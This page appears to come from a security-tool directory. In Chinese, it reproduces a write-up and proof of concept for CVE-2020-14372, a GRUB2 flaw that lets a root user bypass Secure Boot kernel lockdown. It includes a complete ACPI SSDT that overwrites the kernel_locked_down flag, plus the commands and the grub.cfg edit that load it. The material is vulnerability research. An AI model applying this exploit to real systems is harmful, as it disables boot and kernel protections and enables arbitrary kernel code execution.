Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2020-14372 — CVE-2020-14372 的分析文章和概念验证漏洞利用 | Kitploit
工具/GitHubGitHub/kukrimate/cve-2020-14372
权限提升Payload生成漏洞分析漏洞利用学习与教育二进制利用
GitHubkukrimate/cve-2020-14372

CVE-2020-14372

CVE-2020-14372 的分析文章和概念验证漏洞利用

查看仓库
415年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2020-14372:用一个“简单把戏”绕过(并非那么)安全启动

漏洞详情

有一天我在GRUB2的控制台输入"help",看到了一些非常“有趣”的命令:

  • read_byte ADDR: 从ADDR读取8位值
  • write_byte ADDR VAL: 将8位值VAL写入ADDR

我立刻以为我找到了最有趣的安全启动绕过方法,但在安全启动下这些命令会输出如下内容:

root@kitploit:~
error: Secure Boot forbids loading module .../memrw.mod.

出于好奇,以这种方式启动后,我输入了"acpi"命令,它打印了一条用法消息,告诉我需要指向一个AML文件。众所周知,ACPI的另一个名称是“在您的内核上下文中运行任意供应商提供代码的机制”,因为我们可以加载带有安全启动的ACPI表,我们就是能够提供该代码的“供应商”。

但由于启动内核的数据段中有一个一字节的标志(kernel_locked_down),它告诉内核是否处于“锁定”状态,我们可以通过SSDT覆盖该标志,让内核加载任意模块。

以下SSDT通过创建一个名为HACK的“电池”对象,并在该对象的_INI方法中执行写入操作来实现这一点(内核始终会执行该方法):

root@kitploit:~
DefinitionBlock ("trigger.aml", "SSDT", 2, "", "", 0x00001001)
{
  OperationRegion (KMEM, SystemMemory, ADDRESS_GOES_HERE, 4)
  Field (KMEM, DWordAcc, NoLock, WriteAsZeros)
  {
    LKDN, 32
  }
  Device (\_SB_.HACK)
  {
    Name(_HID, EisaId ("PNP0C0A"))
    Name(_UID, 0x02)
    Method(_INI)
    {
      If (LKDN)
      {
        LKDN = Zero
      }
    }
  }
}

我写了一个Python概念验证利用来帮助生成这个SSDT,但手工利用也并非难事。大致步骤如下:

  1. 在内核命令行中添加nokaslr禁用KASLR
  2. 在不使用KASLR启动后,找到kernel_locked_down符号的物理地址
  3. 将地址插入上述SSDT,然后使用iasl编译该SSDT
  4. 最后指示GRUB2加载该SSDT

如何使用PoC

假设条件:

  • 攻击者对运行中的操作系统拥有root访问权限
  • Linux在UEFI安全启动下使用GRUB2版本≤2.02启动(某些2.02版本已修补),这将导致内核锁定被启用

当上述条件满足时,编辑/etc/default/grub,在GRUB_CMDLINE_LINUX_DEFAULT中添加nokaslr,运行update-grub,然后重启。

在内核在没有地址空间布局随机化的情况下启动后,可以使用genssdt.py脚本生成一个“恶意”SSDT,它将在运行时修补内核内存以禁用锁定:

root@kitploit:~
python3 genssdt.py > trigger.dsl
iasl trigger.dsl
cp trigger.aml /boot/efi/evil_ssdt.aml

现在SSDT已创建完毕,必须编辑GRUB配置文件(通常位于/boot/grub/grub.cfg)以使GRUB加载此SSDT(将该行添加到文件顶部):

root@kitploit:~
acpi (hd0,gpt1)/evil_ssdt.aml

根据EFI系统分区(我们放置SSDT的位置)在磁盘上的位置,可能需要将(hd0,gpt1)替换为其他内容。

最后,重启后内核锁定应该被禁用,从而使root能够在内核中执行任意代码。

下载工具